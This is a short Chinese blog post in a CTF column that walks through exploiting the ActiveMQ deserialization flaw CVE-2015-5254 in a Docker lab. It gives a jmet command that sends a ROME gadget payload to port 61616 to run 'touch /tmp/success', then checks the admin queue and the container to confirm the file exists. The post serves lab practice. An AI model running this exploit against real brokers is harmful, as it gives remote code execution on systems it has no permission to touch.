ActiveMQ 反序列化漏洞（CVE-2015-5254）

最新推荐文章于 2024-10-31 11:37:05 发布

科尔沁的风

最新推荐文章于 2024-10-31 11:37:05 发布

阅读量140

点赞数

分类专栏： CTF 文章标签： activemq

本文链接：https://blog.csdn.net/weixin_39422729/article/details/126340030

版权

CTF 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

# 执行语句
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616


#查看消息队列
http://your-ip:8161/admin/browse.jsp?JMSDestination=event

#进入容器，执行：
docker-compose exec activemq bash
#可见 /tmp/success 已成功创建，说明漏洞利用成功。

太高级了，简直简单的不要不要的！！！！！！！

又搞定了一个大事儿。